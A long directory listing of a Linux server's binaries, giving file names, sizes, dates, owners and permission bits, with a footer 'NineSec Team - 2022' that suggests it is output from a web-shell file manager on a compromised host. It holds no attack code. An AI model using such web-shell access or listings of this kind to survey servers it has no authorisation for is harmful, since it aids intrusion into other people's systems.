soelim	46.508 KB	March 21 2020 1:27:30	root	0755
sort	114.625 KB	September 05 2019 12:38:40	root	0755
sotruss	4.209 KB	November 22 2023 2:32:50	root	0755
spamalyze	5.514 KB	July 15 2016 4:10:30	root	0755
spamassassin	29.197 KB	March 24 2023 5:36:49	root	0755
spamc	47.141 KB	March 24 2023 5:36:49	root	0755
spinner	2.381 KB	August 22 2017 11:23:46	root	0755
splain	18.701 KB	November 23 2023 4:02:19	root	0755
split	58.773 KB	September 05 2019 12:38:40	root	0755
splitfont	13.992 KB	May 09 2019 5:22:51	root	0755
sprof	34.367 KB	November 22 2023 2:32:50	root	0755
ssh	774.945 KB	January 02 2024 6:13:02	root	0755
ssh-add	362.281 KB	January 02 2024 6:13:02	root	0755
ssh-agent	342.289 KB	January 02 2024 6:13:02	root	2755
ssh-argv0	1.421 KB	April 04 2023 12:47:13	root	0755
ssh-copy-id	10.408 KB	February 14 2020 1:40:54	root	0755
ssh-keygen	466.297 KB	January 02 2024 6:13:02	root	0755
ssh-keyscan	454.305 KB	January 02 2024 6:13:02	root	0755
startx	5.39 KB	August 24 2019 11:28:16	root	0755
stat	86.367 KB	September 05 2019 12:38:40	root	0755
stdbuf	50.336 KB	September 05 2019 12:38:40	root	0755
stl2gts	14.039 KB	February 03 2017 11:04:42	root	0755
strace	1.51 MB	April 17 2020 12:23:25	root	0755
strace-log-merge	1.778 KB	March 18 2019 8:06:47	root	0755
strings	34.656 KB	January 02 2024 4:48:50	root	0755
strip	182.477 KB	January 02 2024 4:48:50	root	0755
sudo	162.164 KB	April 04 2023 1:56:28	root	4755
sudoedit	162.164 KB	April 04 2023 1:56:28	root	4755
sudoreplay	63 KB	April 04 2023 1:56:28	root	0755
sum	46.344 KB	September 05 2019 12:38:40	root	0755
symcryptrun	123.031 KB	July 04 2022 6:20:36	root	0755
systemd-analyze	1.51 MB	November 21 2023 10:10:21	root	0755
systemd-cat	18.227 KB	November 21 2023 10:10:21	root	0755
systemd-cgls	22.328 KB	November 21 2023 10:10:21	root	0755
systemd-cgtop	38.242 KB	November 21 2023 10:10:21	root	0755
systemd-delta	26.219 KB	November 21 2023 10:10:21	root	0755
systemd-detect-virt	18.219 KB	November 21 2023 10:10:21	root	0755
systemd-id128	22.219 KB	November 21 2023 10:10:21	root	0755
systemd-mount	50.453 KB	November 21 2023 10:10:21	root	0755
systemd-path	18.219 KB	November 21 2023 10:10:21	root	0755
systemd-resolve	126.375 KB	November 21 2023 10:10:21	root	0755
systemd-run	58.422 KB	November 21 2023 10:10:21	root	0755
systemd-socket-activate	26.219 KB	November 21 2023 10:10:21	root	0755
systemd-stdio-bridge	22.227 KB	November 21 2023 10:10:21	root	0755
systemd-umount	50.453 KB	November 21 2023 10:10:21	root	0755
tabs	18.305 KB	May 16 2023 8:47:48	root	0755
tac	42.336 KB	September 05 2019 12:38:40	root	0755
tail	70.398 KB	September 05 2019 12:38:40	root	0755
taskset	34.227 KB	May 30 2023 5:42:35	root	0755
tbl	138.508 KB	March 21 2020 1:27:30	root	0755
tee	42.367 KB	September 05 2019 12:38:40	root	0755
telnet	112.672 KB	March 23 2020 7:20:39	root	0755
telnet.netkit	112.672 KB	March 23 2020 7:20:39	root	0755
test	54.336 KB	September 05 2019 12:38:40	root	0755
tic	90.414 KB	May 16 2023 8:47:48	root	0755
time	14.375 KB	April 21 2017 10:57:03	root	0755
timedatectl	46.219 KB	November 21 2023 10:10:21	root	0755
timeout	42.773 KB	September 05 2019 12:38:40	root	0755
tload	22.242 KB	October 31 2023 12:35:56	root	0755
toe	22.305 KB	May 16 2023 8:47:48	root	0755
top	126.047 KB	October 31 2023 12:35:56	root	0755
touch	98.367 KB	September 05 2019 12:38:40	root	0755
tput	26.336 KB	May 16 2023 8:47:48	root	0755
tr	50.336 KB	September 05 2019 12:38:40	root	0755
tracepath	18.148 KB	September 13 2022 9:06:15	root	0755
traceroute6	26.148 KB	September 13 2022 9:06:15	root	0755
traceroute6.iputils	26.148 KB	September 13 2022 9:06:15	root	0755
transform	14.352 KB	February 03 2017 11:04:42	root	0755
transset	22.789 KB	February 29 2020 12:10:29	root	0755
troff	735.906 KB	March 21 2020 1:27:30	root	0755
truncate	42.336 KB	September 05 2019 12:38:40	root	0755
tset	30.313 KB	May 16 2023 8:47:48	root	0755
tsort	42.336 KB	September 05 2019 12:38:40	root	0755
tty	38.336 KB	September 05 2019 12:38:40	root	0755
tzselect	15.019 KB	November 22 2023 2:32:50	root	0755
ua	0.432 KB	November 07 2023 3:23:40	root	0755
ubuntu-advantage	0.432 KB	November 07 2023 3:23:40	root	0755
ubuntu-distro-info	22.891 KB	April 25 2023 3:57:38	root	0755
ubuntu-security-status	22.249 KB	November 15 2023 11:28:54	root	0755
ucf	39.731 KB	December 14 2018 9:51:14	root	0755
ucfq	18.913 KB	December 14 2018 9:51:14	root	0755
ucfr	10.471 KB	December 14 2018 9:51:14	root	0755
ul	18.164 KB	March 30 2020 11:26:14	root	0755
unattended-upgrade	96.985 KB	May 19 2022 7:38:48	root	0755
unattended-upgrades	96.985 KB	May 19 2022 7:38:48	root	0755
unexpand	42.367 KB	September 05 2019 12:38:40	root	0755
unicode_stop	0.518 KB	May 09 2019 5:22:51	root	0755
uniq	50.367 KB	September 05 2019 12:38:40	root	0755
unlink	38.336 KB	September 05 2019 12:38:40	root	0755
unlzma	78.5 KB	April 08 2022 2:56:10	root	0755
unrar	376.875 KB	March 22 2020 5:01:42	root	0755
unrar-nonfree	376.875 KB	March 22 2020 5:01:42	root	0755
unshare	42.43 KB	May 30 2023 5:42:35	root	0755
unxz	78.5 KB	April 08 2022 2:56:10	root	0755
unzip	182.289 KB	October 07 2022 7:09:47	root	0755
unzipsfx	82.273 KB	October 07 2022 7:09:47	root	0755
update-alternatives	54.406 KB	May 25 2022 1:14:20	root	0755
update-mime-database	58.367 KB	March 24 2020 4:58:21	root	0755
uptime	14.227 KB	October 31 2023 12:35:56	root	0755
usb-devices	4.004 KB	October 01 2019 11:03:11	root	0755
usbhid-dump	30.383 KB	October 01 2019 11:03:11	root	0755
usbreset	14.297 KB	October 01 2019 11:03:11	root	0755
users	38.336 KB	September 05 2019 12:38:40	root	0755
utmpdump	30.227 KB	May 30 2023 5:42:35	root	0755
uuidgen	14.227 KB	May 30 2023 5:42:35	root	0755
uuidparse	38.227 KB	May 30 2023 5:42:35	root	0755
vi	1.29 MB	December 07 2023 4:42:49	root	0755
view	1.29 MB	December 07 2023 4:42:49	root	0755
viewres	31.266 KB	February 29 2020 7:29:50	root	0755
vim.tiny	1.29 MB	December 07 2023 4:42:49	root	0755
virtualmin-config-system	3.221 KB	August 01 2020 12:21:33	root	0755
vmstat	38.25 KB	October 31 2023 12:35:56	root	0755
volname	14.148 KB	July 08 2019 10:40:51	root	0755
w	22.227 KB	October 31 2023 12:35:56	root	0755
w.procps	22.227 KB	October 31 2023 12:35:56	root	0755
wall	34.227 KB	May 30 2023 5:42:35	root	2755
watch	26.57 KB	October 31 2023 12:35:56	root	0755
watchgnupg	18.305 KB	July 04 2022 6:20:36	root	0755
wc	46.344 KB	September 05 2019 12:38:40	root	0755
wcmgr	30.039 KB	October 15 2018 5:03:02	root	0755
webalizer	220.195 KB	October 15 2018 5:03:02	root	0755
webazolver	220.195 KB	October 15 2018 5:03:02	root	0755
webmin	15.095 KB	November 08 2023 4:49:09	root	0755
wget	531.711 KB	November 12 2021 6:09:16	root	0755
whatis	55.211 KB	February 25 2020 6:13:45	root	0755
whereis	34.664 KB	May 30 2023 5:42:35	root	0755
which	0.924 KB	December 07 2019 3:13:44	root	0755
whiptail	34.164 KB	February 18 2020 10:21:04	root	0755
who	58.367 KB	September 05 2019 12:38:40	root	0755
whoami	38.336 KB	September 05 2019 12:38:40	root	0755
whois	156.719 KB	February 16 2020 10:25:51	root	0755
word-list-compress	14.297 KB	July 22 2021 8:20:06	root	0755
write	14.148 KB	March 30 2020 11:26:14	root	2755
www-browser	1.85 MB	February 28 2020 3:28:01	root	0755
x-www-browser	2.604 KB	February 06 2024 2:59:08	root	0755
x11perf	197.461 KB	February 29 2020 12:10:29	root	0755
x11perfcomp	2.741 KB	February 29 2020 12:10:29	root	0755
x86_64	26.5 KB	May 30 2023 5:42:35	root	0755
x86_64-linux-gnu-addr2line	34.703 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-ar	66.43 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-as	680.297 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-c++filt	30.266 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-cpp	1.1 MB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-cpp-9	1.1 MB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-dwp	1.95 MB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-elfedit	42.672 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-g++	1.1 MB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-g++-9	1.1 MB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc	1.1 MB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-9	1.1 MB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-ar	34.633 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-ar-9	34.633 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-nm	34.633 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-nm-9	34.633 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-ranlib	34.633 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcc-ranlib-9	34.633 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcov	656.234 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcov-9	656.234 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcov-dump	528.133 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcov-dump-9	528.133 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcov-tool	544.195 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gcov-tool-9	544.195 KB	October 24 2022 11:28:06	root	0755
x86_64-linux-gnu-gold	2.21 MB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-gprof	99.883 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-ld	1.66 MB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-ld.bfd	1.66 MB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-ld.gold	2.21 MB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-nm	51.43 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-objcopy	182.477 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-objdump	392.828 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-ranlib	66.461 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-readelf	642.93 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-size	34.453 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-strings	34.656 KB	January 02 2024 4:48:50	root	0755
x86_64-linux-gnu-strip	182.477 KB	January 02 2024 4:48:50	root	0755
xargs	74.367 KB	February 18 2020 2:05:59	root	0755
xauth	54.969 KB	August 25 2019 11:09:53	root	0755
xbiff	24.188 KB	February 29 2020 12:10:29	root	0755
xcalc	47.484 KB	February 29 2020 12:10:29	root	0755
xclipboard	26.656 KB	February 29 2020 12:10:29	root	0755
xclock	65.141 KB	February 29 2020 12:10:29	root	0755
xcmsdb	30.742 KB	March 18 2018 11:19:30	root	0755
xconsole	27.281 KB	February 29 2020 12:10:29	root	0755
xcursorgen	22.297 KB	February 29 2020 12:10:29	root	0755
xcutsel	22.641 KB	February 29 2020 12:10:29	root	0755
xdg-user-dir	0.229 KB	January 24 2019 3:37:01	root	0755
xdg-user-dirs-update	26.07 KB	January 24 2019 3:37:01	root	0755
xditview	108.141 KB	February 29 2020 12:10:29	root	0755
xdpyinfo	43.07 KB	February 29 2020 7:29:50	root	0755
xdriinfo	14.305 KB	February 29 2020 7:29:50	root	0755
xedit	673.352 KB	February 29 2020 12:10:29	root	0755
xev	34.656 KB	February 29 2020 7:29:50	root	0755
xeyes	31.797 KB	February 29 2020 12:10:29	root	0755
xfd	40.063 KB	February 29 2020 7:29:50	root	0755
xfontsel	47.906 KB	February 29 2020 7:29:50	root	0755
xgamma	9.992 KB	March 18 2018 11:19:30	root	0755
xgc	78.422 KB	February 29 2020 12:10:29	root	0755
xhost	13.992 KB	March 18 2018 11:19:30	root	0755
xinit	22.328 KB	August 24 2019 11:28:16	root	0755
xkbbell	14.32 KB	February 28 2020 9:13:02	root	0755
xkbcomp	212.094 KB	February 28 2020 9:13:02	root	0755
xkbevd	42.391 KB	February 28 2020 9:13:02	root	0755
xkbprint	94.344 KB	February 28 2020 9:13:02	root	0755
xkbvleds	23.086 KB	February 28 2020 9:13:02	root	0755
xkbwatch	23.18 KB	February 28 2020 9:13:02	root	0755
xkeystone	16.584 KB	March 18 2018 11:19:30	root	0755
xkill	14.305 KB	February 29 2020 7:29:50	root	0755
xload	27 KB	February 29 2020 12:10:29	root	0755
xlogo	27.266 KB	February 29 2020 12:10:29	root	0755
xlsatoms	14.305 KB	February 29 2020 7:29:50	root	0755
xlsclients	18.313 KB	February 29 2020 7:29:50	root	0755
xlsfonts	26.398 KB	February 29 2020 7:29:50	root	0755
xmag	48.422 KB	February 29 2020 12:10:29	root	0755
xman	81.203 KB	February 29 2020 12:10:29	root	0755
xmessage	27.188 KB	February 29 2020 7:29:50	root	0755
xmodmap	34.336 KB	March 18 2018 11:19:30	root	0755
xmore	18.578 KB	February 29 2020 12:10:29	root	0755
xprop	48.602 KB	February 29 2020 7:29:50	root	0755
xrandr	62.086 KB	March 18 2018 11:19:30	root	0755
xrdb	30.086 KB	March 18 2018 11:19:30	root	0755
xrefresh	10.07 KB	March 18 2018 11:19:30	root	0755
xset	29.992 KB	March 18 2018 11:19:30	root	0755
xsetmode	9.992 KB	March 18 2018 11:19:30	root	0755
xsetpointer	9.992 KB	March 18 2018 11:19:30	root	0755
xsetroot	18 KB	March 18 2018 11:19:30	root	0755
xsm	102.766 KB	February 29 2020 7:08:03	root	0755
xstdcmap	14.57 KB	March 18 2018 11:19:30	root	0755
xsubpp	5.043 KB	November 23 2023 4:02:19	root	0755
xvidtune	39.414 KB	March 18 2018 11:19:30	root	0755
xvinfo	18.305 KB	February 29 2020 7:29:50	root	0755
xwd	38.313 KB	February 29 2020 12:10:29	root	0755
xwininfo	50.383 KB	February 29 2020 7:29:50	root	0755
xwud	34.297 KB	February 29 2020 12:10:29	root	0755
xxd	18.273 KB	December 07 2023 4:42:49	root	0755
xz	78.5 KB	April 08 2022 2:56:10	root	0755
xzcat	78.5 KB	April 08 2022 2:56:10	root	0755
xzcmp	6.477 KB	April 08 2022 2:56:10	root	0755
xzdiff	6.477 KB	April 08 2022 2:56:10	root	0755
xzegrep	5.764 KB	April 08 2022 2:56:10	root	0755
xzfgrep	5.764 KB	April 08 2022 2:56:10	root	0755
xzgrep	5.764 KB	April 08 2022 2:56:10	root	0755
xzless	1.76 KB	April 08 2022 2:56:10	root	0755
xzmore	2.11 KB	April 08 2022 2:56:10	root	0755
y2racc2.7	0.576 KB	July 06 2023 12:57:08	root	0755
yes	38.336 KB	September 05 2019 12:38:40	root	0755
zabbix_sender	269.063 KB	February 04 2020 5:03:41	root	0755
zdump	26.211 KB	November 22 2023 2:32:50	root	0755
zip	211.188 KB	April 21 2017 11:02:44	root	0755
zipcloak	91.617 KB	April 21 2017 11:02:44	root	0755
zipdetails	49.529 KB	November 23 2023 4:02:19	root	0755
zipgrep	2.884 KB	October 07 2022 7:09:47	root	0755
zipinfo	182.289 KB	October 07 2022 7:09:47	root	0755
zipnote	87.391 KB	April 21 2017 11:02:44	root	0755
zipsplit	91.391 KB	April 21 2017 11:02:44	root	0755

NineSec Team - 2022